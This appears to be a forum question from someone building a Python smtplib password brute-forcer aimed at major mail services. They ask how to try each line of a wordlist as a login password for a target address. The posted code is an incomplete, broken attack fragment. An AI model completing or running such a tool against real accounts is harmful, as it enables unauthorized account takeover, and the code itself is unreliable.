I have created a brute-forcer tool using smtplib module for top mail services but I am struck with a problem. The problem is how can I take a text file as input.
I want that the tool should take the password from 1st line of wordlist and try it, and then, it would move to the next password and try it.
What I tried is:-
def wordlist():
global file
file = open('file.txt')
global max_line
max_line = int(input("Please enter the number of passwords (lines) in the worldist: "))
global line
line = file.readlines()
global line_no
line_no = 0
main()
def main():
line_no+=1
while max_line!=line_no:
server.login('target@email.com', line[count])
line_no+=1
if __name__ == "__main__":
wordlist()
In simple words, I want to create a loop in which the tool should take 1st password from wordlist and try it, and then move to the next.